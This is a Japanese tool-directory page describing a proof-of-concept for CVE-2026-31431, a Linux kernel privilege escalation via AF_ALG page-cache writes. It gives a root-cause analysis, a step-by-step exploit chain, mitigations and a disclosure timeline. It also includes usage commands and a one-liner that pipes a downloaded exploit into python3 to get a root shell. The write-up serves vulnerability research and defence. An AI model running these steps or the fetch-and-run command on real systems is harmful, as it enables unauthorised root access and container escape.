Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431-PoC — CVE-2026-31431の概念実証エクスプロイト。AF_ALGページキャッシュ書き込みを介したLinuxカーネルのローカル権限昇格であり、主要なディストリビューションでrootを獲得します。 | Kitploit
ツール/GitHubGitHub/sl4ck0th/cve-2026-31431-poc
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトレッドチーミングコンテナエスケープバイナリエクスプロイト
GitHubsl4ck0th/cve-2026-31431-poc

CVE-2026-31431-PoC

CVE-2026-31431の概念実証エクスプロイト。AF_ALGページキャッシュ書き込みを介したLinuxカーネルのローカル権限昇格であり、主要なディストリビューションでrootを獲得します。

リポジトリを見る
413ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431 PoC

Linuxカーネルにおける algif_aead ページキャッシュ書き込み("Copy Fail")によるローカル権限昇格

CVE-2026-31431 Copy Fail

著者: Van Glenndon Enad

最初の発見者: Theori / Xint Code Research Team (Taeyang Lee)

公開日: 2026年4月29日

深刻度: 高

CVSS v3.1 スコア: 7.8

CVSS v3.1 ベクター: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE: CWE-787(領域外書き込み)、CWE-269(不適切な権限管理)


目次

  1. エグゼクティブサマリー
  2. 影響を受けるソフトウェア
  3. 脆弱性の説明
  4. 根本原因の分析
  5. 前提条件
  6. エクスプロイトチェーン
  7. ペイロード分析
  8. 概念実証
  9. 影響
  10. 対策
  11. 参考情報
  12. 開示スケジュール

エグゼクティブサマリー

CVE-2026-31431は、一般に "Copy Fail" と呼ばれる、Linuxカーネルの algif_aead モジュール — カーネルのユーザー空間暗号API(AF_ALG)のAEAD暗号インターフェース — における高深刻度のローカル権限昇格(LPE)脆弱性です。この欠陥は、2017年にコミット 72548b093ee3 で導入されたパフォーマンス最適化(インプレース操作)に起因し、AEAD暗号操作中にページキャッシュにバックアップされたファイルページが誤って書き込み可能な宛先scatterlistに配置されることを可能にしました。

AF_ALG ソケット、splice() システムコール、および authencesn アルゴリズムのスクラッチ書き込み動作という3つのカーネルサブシステムを連鎖させることで、権限のないローカルユーザーは 読み取り可能な任意のファイルのページキャッシュへの制御された4バイト書き込み を実行できます。/usr/bin/su などの setuid バイナリを標的にすることで、この書き込みはディスク上のファイルを変更することなくメモリ内の実行可能イメージを破壊し、ディスク上のファイル整合性ツールを回避します。結果として得られる root への権限昇格は 決定的 です — レースコンディションも、ディストリビューションごとのカーネルオフセットも、特別な権限も必要ありません。公開された732バイトのPython PoCエクスプロイトは、Ubuntu、Amazon Linux、RHEL、SUSEで変更なしの単一実行でrootシェルを提供します。


影響を受けるソフトウェア

この脆弱性は、ほぼ 9年間 にわたり、すべての主流Linuxディストリビューションに静かに存在してきました。Theoriによると、AF_ALG は事実上すべてのディストリビューションのデフォルトカーネル設定で有効になっており、システムが脆弱になるために特別なビルドフラグや設定は必要ありません。


脆弱性の説明

Linuxカーネルは、AF_ALG ソケットインターフェース(crypto/algif_aead.c)を通じて暗号プリミティブをユーザー空間に公開しています。2017年、algif_aead がAEAD操作を インプレース で実行できるようにするパフォーマンス最適化がマージされました — 不要なデータコピーを避けるために、ソースメモリバッファを宛先として再利用します。

この欠陥は、ユーザー空間が splice() システムコールを介して AF_ALG ソケットに入力を供給したときに発生します。この場合、ソースscatterlistに配置されるページは ページキャッシュページ — スプライスされたファイルをバックアップする共有のカーネル管理メモリ — です。インプレース最適化が req->src = req->dst を設定するため、これらのページキャッシュページは 書き込み可能な宛先scatterlist に含まれることになります。authencesn アルゴリズムはその後、dst[assoclen + cryptlen] でスクラッチ書き込みを実行しますが、これはそれらのページキャッシュページ内のオフセットに解決され、実質的に攻撃者が制御するデータをスプライスされたファイルのメモリ内イメージに書き込むことになります。

ページキャッシュはコンテナを含む ホスト全体で共有 されるため、あるプロセスからの書き込みは、同じカーネル上のすべてのプロセスとコンテナに対してそのファイルのキャッシュページに影響を与えます。


根本原因の分析

2017年のインプレース最適化

algif_aead.c の問題のある変更は、req->src = req->dst を設定し、sg_chain() を介してソースscatterlistから出力scatterlistにタグページをチェーンしました:

root@kitploit:~
/* 2017年のインプレース最適化 — コミット 72548b093ee3 */
req->src = req->dst;             /* ソース == 宛先 */
sg_chain(dst, n + 1, src_tag);   /* タグページが書き込み可能なdstにチェーンされる */

splice() を使用してファイルをソケットに供給すると、scatterlistページはページキャッシュにバックアップされたものであり、プライベートな匿名メモリではありません。それらを書き込み可能な dst scatterlistにチェーンすることは、宛先が書き込み可能なプライベートメモリであるという前提に違反します。

authencesn スクラッチ書き込み

authencesn テンプレートは、dst[assoclen + cryptlen] にシーケンス番号のスクラッチ値(seqno_lo、AADのバイト4〜7)を書き込みます。dst にスプライスされたファイルのページキャッシュページが含まれるようになったため、この書き込みはファイルのメモリ内イメージ内の攻撃者が制御するオフセットに着地します:

root@kitploit:~
/* authencesn スクラッチ書き込み — オフセットは assoclen + cryptlen によって決定される */
scatterwalk_map_and_copy(seqno, dst,
                         req->assoclen + req->cryptlen,
                         sizeof(seqno), 1);    /* ページキャッシュに書き込む */

書き込まれる4バイトは seqno_lo に対応し、攻撃者は sendmsg() を介して送信されるAADペイロードを通じてこれを制御します。

3コンポーネントの攻撃面

root@kitploit:~
AF_ALG ソケット (SOCK_SEQPACKET)
    │
    │  splice() — ファイルバックアップページをソケットに配信
    ▼
algif_aead インプレース最適化
    │  req->src = req->dst
    │  ページキャッシュページが書き込み可能なscatterlistに含まれる
    ▼
authencesn スクラッチ書き込み
    │  dst[assoclen + cryptlen] に seqno_lo を書き込む
    │  = 攻撃者が選択したファイルオフセットに攻撃者が選択した4バイト
    ▼
ページキャッシュ破損(ディスク上の変更なし)

修正が機能する理由

修正(a664bf3d603d)はインプレース最適化を完全に元に戻します — algif_aead は現在、常に アウトオブプレース で動作し、別の宛先バッファを割り当てます。ソースと宛先が異なるマッピングから取得されるようになったため、src 内のページキャッシュページが dst 書き込みパスによって到達されることは決してありません。


前提条件

前提条件に明らかに含まれないもの:ネットワークアクセス、カーネルデバッグ機能、CAP_SYS_ADMIN、事前ロードされたカーネルモジュール、または既存のプリミティブ。攻撃面は完全にローカルで自己完結型です。


エクスプロイトチェーン

root@kitploit:~
ステップ 1: 攻撃者が AF_ALG AEAD ソケットを開く (SOCK_SEQPACKET)
        │  algif_aead モジュールを自動ロード; rootは不要
        ▼
ステップ 2: 攻撃者が標的の setuid バイナリ(例:/usr/bin/su)を読み取り用に開く
        │  読み取り権限のみ必要
        ▼
ステップ 3: splice() が標的ファイルのページを AF_ALG ソケットに転送
        │  ページキャッシュページがソースscatterlistに含まれる
        ▼
ステップ 4: インプレース最適化が発動: req->src = req->dst
        │  ページキャッシュページが書き込み可能な宛先scatterlistに入る
        ▼
ステップ 5: authencesn 復号パスが dst[assoclen + cryptlen] でスクラッチ書き込みを実行
        │  攻撃者は assoclen、cryptlen、および4バイトの seqno_lo 値を制御
        ▼
ステップ 6: 制御された4バイト上書きが /usr/bin/su のページキャッシュに着地
        │  メモリ内バイナリがパッチされる; ディスク上のファイルは変更されない
        ▼
ステップ 7: 攻撃者が `su` を実行 — 破損したメモリ内イメージがrootとして実行
        │  setuidビットは保持; カーネルは攻撃者がパッチしたコードを実行
        ▼
ステップ 8: rootシェルを取得 — 権限昇格が完了

コンテナ環境では、ステップ6のページキャッシュ破損が ホスト および同じカーネルを共有する すべての兄弟コンテナ に伝播し、完全なコンテナエスケープを可能にします。


ペイロード分析

PoC(copy_fail_exp.py、732バイト)は、Python 3.10+ の標準ライブラリモジュールのみを使用します:os、socket、zlib。エクスプロイトは、splice() を介してファイルページをステージングした後、AF_ALG ソケットに正確に細工された sendmsg() ペイロードを構築して送信します。

制御された書き込みパラメータ

標的: /usr/bin/su ELFパッチ

デフォルトのPoCは /usr/bin/su を標的にします。4バイトの書き込みは、ELFバイナリのキャッシュされたページ内の特定の命令をパッチします — 特権チェック分岐または uid チェックをno-opまたは無条件ジャンプに置き換える — これにより、su が後で実行されると、setuid 実行環境がパッチされたコードを root として実行します。破損は 非永続的 です:ページの退避または再起動により元のバイナリが復元されます。

レースウィンドウがない理由

典型的なページキャッシュ攻撃(例:Dirty COW)とは異なり、Copy Failは レースコンディションを必要としません。書き込みパスは直線的です:splice() → sendmsg() → スクラッチ書き込み。各呼び出しは決定的かつ同期しており、ハードウェア、カーネルバージョン、ディストリビューションを問わずエクスプロイトを非常に信頼性の高いものにしています。


概念実証

警告: このPoCは、教育、研究、および許可されたテスト目的のみで提供されています。所有していない、または明示的な書面による許可を得ていないシステムに対して使用しないでください。

標準のPoCはTheoriによって公式リポジトリで管理されています。これは自己完結型の732バイトのPython 3.10+ スクリプトで、外部依存関係はありません。

デフォルトの使用法(/usr/bin/su を標的):

root@kitploit:~
python3 copy_fail_exp.py

カスタムsetuid標的:

root@kitploit:~
python3 copy_fail_exp.py /usr/bin/sudo

ワンライナー(公式サイトから):

root@kitploit:~
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

標準PoCのSHA256:

root@kitploit:~
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

同じ未変更のスクリプトが、単一のtmuxセッションでUbuntu 24.04 LTS、Amazon Linux 2023、RHEL 10.1、およびSUSE 16でrootシェルを達成することが公開デモで実証されています。


影響

最も重大な影響ベクトルは マルチテナント環境 です:共有開発ボックス、Kubernetesワーカーノード、GitHub Actionsセルフホストランナー、GitLab/Jenkins CIエージェント、ノートブックホスティングプラットフォーム、およびユーザー提供コードが通常のユーザーアカウントで実行されるサーバーレス環境。未パッチのカーネルを実行するそのような環境は、コードを実行できる任意のユーザーによって完全に侵害されます。


対策

即時対応

カーネルをアップグレード して、メインライン修正コミット a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 を含むバージョンに更新します:

即時のカーネルアップグレードが不可能な場合

algif_aead カーネルモジュールを無効にして、攻撃経路を根本でブロックします:

root@kitploit:~
# 再起動後もブロックを永続化
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

# 実行中のカーネルからモジュールをアンロード(ロードされている場合)
rmmod algif_aead

これによって壊れるもの: これは dm-crypt/LUKS、kTLS、IPsec/XFRM、SSH、または標準のOpenSSL/GnuTLS/NSSには 影響しません。afalg OpenSSLエンジンを明示的に使用する、または aead ソケットに直接バインドするユーザー空間アプリケーションに影響を与える可能性があります。適用前に lsof | grep AF_ALG で確認してください。

多層防御

  • コンテナとサンドボックス: パッチ状態に関係なく、seccomp を介して AF_ALG ソケット作成をブロック — seccompプロファイルの拒否リストに SOCK_SEQPACKET + AF_ALG を追加します。
  • Kubernetes: すべてのポッドにseccompプロファイルを適用; 予期しない AF_ALG AEADソケット作成を検出するノードレベルのカーネル監査ルールを展開します。
  • 検出(Falcoルール): 既知のディスク暗号化ツールチェーン以外のプロセスが AF_ALG SOCK_SEQPACKET ソケットを開く場合にアラート — これはエクスプロイトの必須の最初のステップです。
  • ファイル整合性モニタリング: 標準のFIMツールはこの攻撃を 検出しません(ディスク上の変更なし)。予期しない su/sudo 実行と AF_ALG ソケット使用の組み合わせを行動シグナルとして監視します。
  • 最小権限の原則: 他の機密ワークロードと共有されるカーネル上で信頼できないコードを実行しないでください。

開示スケジュール


  • NVD — CVE-2026-31431
  • Theori / 公式Copy Failウェブサイト — copy.fail
  • Theori — 公式PoCリポジトリ(GitHub)
  • Xint Codeブログ — Copy Fail: すべての主要Linuxディストリビューションでrootへの732バイト
  • Microsoftセキュリティブログ — CVE-2026-31431: Copy Fail脆弱性によりLinuxのroot権限昇格が可能に
  • Openwall OSS-Security — CVE-2026-31431 完全開示
  • CERT-EUセキュリティアドバイザリ 2026-005
  • Sysdigブログ — Copy Fail Linuxカーネルの欠陥によりローカルユーザーが数秒でrootを取得可能
  • Bugcrowdブログ — Copy Fail(CVE-2026-31431)について私たちが知っていること
  • AlmaLinuxブログ — Copy Fail(CVE-2026-31431)パッチがリリースされました
  • Red Hatカスタマーポータル — CVE-2026-31431
  • Tenable — CVE-2026-31431

法的免責事項: この分析と概念実証は、教育、研究、および防御的セキュリティ目的のみで公開されています。著者はコンピュータシステムへの不正アクセスを容認しません。所有していないシステムに対してセキュリティテストを実施する前に、必ず明示的な書面による許可を取得してください。

ツールをダウンロード
コンポーネント詳細
影響を受けるサブシステムcrypto/algif_aead.c — Linuxカーネル AF_ALG AEADインターフェース
脆弱性が導入された時期Linuxカーネル4.14(2017年)、コミット 72548b093ee38a6d4f2a19e6ef1948ae05c181f7
修正済みバージョン6.18.22、6.19.12、7.0
修正コミットa664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
検証済みディストリビューションUbuntu 24.04 LTS、Amazon Linux 2023、RHEL 10.1、SUSE 16
暗黙的に影響を受けるものDebian、Arch、Fedora、Rocky、AlmaLinux、Oracle Linux、および2017年以降に構築された未パッチのカーネルを実行するすべてのディストリビューション
要件備考
ローカルの権限のないユーザーアカウント昇格した権限は不要
2017年以降に構築されたカーネル(≥ 4.14)事実上すべての主流ディストリビューションをカバー
AF_ALG(CONFIG_CRYPTO_USER_API)が有効事実上すべてのディストリビューションのカーネル設定でデフォルト
algif_aead モジュールがロード可能/ロード済み最初の AF_ALG ソケット作成時に自動ロード
読み取り可能な setuid バイナリが少なくとも1つ例:/usr/bin/su、/usr/bin/sudo
Python 3.10+(公開PoC用)標準ライブラリの os、socket、zlib のみ
パラメータ攻撃者の制御メカニズム
標的ファイル攻撃者が読み取り可能な任意のファイルsplice() に渡される
書き込みオフセットassoclen + cryptlensendmsg() のソケットオプションで設定
書き込み値(4バイト)seqno_losendmsg() のAADペイロードのバイト4〜7
カテゴリ説明
機密性root としてホスト上のすべてのファイルへの完全な読み取りアクセス
完全性任意のファイルへの書き込み、バックドアのインストール、/etc/passwd または /etc/shadow の変更が可能
可用性ホストの完全な乗っ取り; サービス妨害が可能
認証ローカルユーザーアカウント以外の資格情報は不要
コンテナエスケープページキャッシュはホスト全体で共有 — ローカルシェルを持つポッドがノードを侵害し、テナント境界を越える可能性
CI/CDパイプラインセルフホストランナーで実行された信頼できないプルリクエストがランナーホストでrootになる
永続化侵害後の活動: SSHキー注入、cronジョブ、カーネルモジュールのインストール — すべて簡単に達成可能
フォレンジック回避ディスク上のバイナリは決して変更されません; ファイル整合性モニター(FIM)、AIDE、Tripwireは変更を検出しません
ディストリビューション修正済みカーネルバージョン
アップストリームLinux6.18.22、6.19.12、7.0
Ubuntu 24.04 LTSベンダーパッチ利用可能 — apt update && apt upgrade
Amazon Linux 2023ベンダーパッチ利用可能 — dnf update kernel
RHEL 10.1Red Hatパッチ進行中 — AlmaLinuxがアップストリーム修正を出荷
SUSE 16ベンダーパッチ利用可能 — zypper update kernel-default
日付イベント
2026-03-23TheoriによってLinuxカーネルセキュリティチームに脆弱性が報告される
2026-03-24最初の確認応答を受領
2026-03-25パッチが提案され、カーネルメンテナーによってレビューされる
2026-04-01修正がメインラインにコミットされる(a664bf3d603d)
2026-04-22CVE-2026-31431が割り当てられる
2026-04-29copy.fail で公開開示; PoCがGitHubで公開
2026-04-30AlmaLinuxがアップストリーム修正を使用してパッチ済みカーネルを出荷
2026-04-30Microsoftセキュリティブログ、Sophos、Sysdig、Bugcrowdが分析を公開
2026-05-01KubernetesコンテナエスケープPoCが公開
2026-05-02独立した分析とドキュメントが公開